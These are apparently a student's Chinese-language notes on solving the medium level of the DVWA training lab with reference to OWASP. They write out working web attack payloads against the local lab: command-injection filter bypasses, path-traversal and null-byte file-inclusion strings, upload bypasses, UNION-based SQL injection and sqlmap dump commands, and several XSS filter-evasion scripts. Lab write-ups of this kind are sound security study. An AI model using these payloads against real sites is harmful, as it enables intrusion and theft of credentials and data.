dvwa中
这段时间学了一点东西,打算做一下中等,并且结合OWASP的说明进行理解
暴力破解
初级最简单,查看发现代码里多了四行php代码
issert 是判断是否为空的布尔类型
is_object 就是看是否为一个对象
mysql_real_escape_string() 转义 SQL 语句中使用的字符串中的特殊字符
trigger_error() 就是输入次数多哪个地方就会回显哪个指定显示的错误
使用'#发现会转义,其他的过滤也不行,直接暴力
发现使用hydra太麻烦,不如bp直接,hydra需要设置参数,并且把参数给用^来标记
可以用PHP-Brute-Force-Attack 检测器来查看是否被WFuzz、OWASP DirBuster 等强力工具和 Nessus、Nikto、Acunetix 等漏洞扫描,也可以使用安全狗、云锁、等安全茶品进行防护。
命令注入
对代码的执行进行了防御
$substitutions = array(
'&&' => '',
';' => '',
);
把&&,;进行了空转义
str_replace 三个参数,第一个用来替换第二个参数给第三个参数23333
str_replace("world","Shanghai","Hello world!");
输出结果
Hello shanghai!
因为第一个条件是对ip进行的,如果成功,就ping 加dos命令
不成功就ping 4个包,既然过滤了&&
可以尝试|| 进行选择其一
这一题就过滤了两个参数...
这样的还有在url中的filename,通过分号来执行其他语句
CSRF
这个学过,可以通过xss图片,放在留言下,等管理员看到,就会被记录cookie,在cookie生效的期间内,找到后台,并且插入cookie,从而获取管理权限
还可以通过自己创建链接或页面从而达到改密码、增加管理员等效果
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
$_SERVER 服务器和执行环境信息
多了一行这个
通过判断http的referer来确定是否进行修改,这个不太行,现在唯一的就是http—only来防御攻击好,但灵活性不好
通过伪造http的referer就行,也可以用modify来指定ip,也可bp修改
文件包含
PHP 函数allow_url_include未启用。
这个是在版本的php的ini里设置的,不是在dvwa的php.ini里设置的
这个也认识,通过上传文件,默认是php脚本,如果文件不行,就尝试在文件夹里包含文件
%00截断在url,从而忽略后面的默认脚本类型,通过不断地上翻到根目录,执行指定文件夹的查看
字节截断,超过文件名限制4096字节,从而忽略php拓展类型
在使用前,需要base64进行编码,在进行有效负载
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
添加了过滤规则
尝试用多个来过滤从而查看文件
http://127.0.0.1/vulnerabilities/fi/?page=....//....//php.ini
http同理就是httpttp
文件上传
尝试上传php一句话
只能上传JPEG or PNG
通过本地查看审核元素,没有发现实行本地js验证,无检测函数
而是在提交过程中
bp上传拦截
1
更改图片类型
上传成功
2
php版本小于5.4
php%00.jpg
3
php[空格].jpg
空格的十六进制代码为20,将其修改为 00。后端在判断文件后缀名的时候遇到%00字符丢弃后面的jpg
sql注入
1
通过sqlmap跑,发现注入点
就是用id注入,然后联合查询
因为是post请求,不是get,所以就在bp里看数据,使用repeater模块进行不断尝试
确定列
order 2
联合查询看哪个数据有效
union select 1,2
union select version(),database()
然后爆表名
union select 1,group_concat(table_name) from information_schema tables where table_schema=dvwa
然后爆列名
union select 1,group_concat(column_name) from information_schema.columns where table_name=users
然后爆账户、密码
union select 1,group_concat(user,password) from users
2
用sqlmap
--current-db
--tables -T dvwa
--column -T users -D dvwa
--dump -C user,password -T users -D dvwa --batch
sql盲注
1
同上
document.cookie
获取cookie
2
bp的利用
因为id直接就是数字,没有引号来过滤
1 and length(database())=4 #
说明数据库为4个字符
之前一直在猜数据库,其实可以不用猜...
数据库字符
1 ascii(substr(database(),1,1))=100#
直接就是database()的引入
等等等
参考链接,二分法、时间延迟
https://www.cnblogs.com/aeolian/p/11063164.html
弱会话
时间戳转化利用cookie
DOM的XSS
1
url 中 # 后面的字符串是该位置的标识符 (可以是内容, id等)
#是用来指导浏览器动作的,对服务器端完全无用, 客户端提交请求的时候, 不会将#后面的内容考虑进去。所以,HTTP请求中不包括#
而且, 单单改变#后的部分,浏览器只会滚动到相应位置,不会重新加载网页
http://127.0.0.1/vulnerabilities/xss_d/?#default=<script>alert('/chenyouxiu/')</script>
2
随便闭合一个标签,得看条件闭合啥时候符合
懂得抖动
2333
反射性XSS
多了个
str_replace
还是对<sctipt>进行过滤,替换为空
<BODY ONLOAD=alert('XSS')>
在owasp里发现的
存储型XSS
strip_tags()
函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。
addslashes()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
但name没有,对name的
<script>进行扩写
<scr<script>ipT>alert(/chenyouxiu/)</scripT>
CSP
用于定义可以从何处加载或执行脚本和其他资源
nonce
一个值 ,并且以不可预测的方式变化
hash
允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行
所以
<script nonce=TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=>alert(/chenyouxiu/)</script>
参考owasp
js
通过审核元素了解文本属性
发现js文件
function do_something(e)
{
for(var t="",n=e.length-1;n>=0;n--)
t+=e[n];
return t
}
setTimeout(function()
{
do_elsesomething("XX")},300);
function do_elsesomething(e)
{
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}
通过之前的初级,知道phrase就是一个例子,需要自己改
结合功能函数do_something(e)
发现changme反过来了
直接bp改
总结
再对owasp进行全面的学习
接下来开始vlb进攻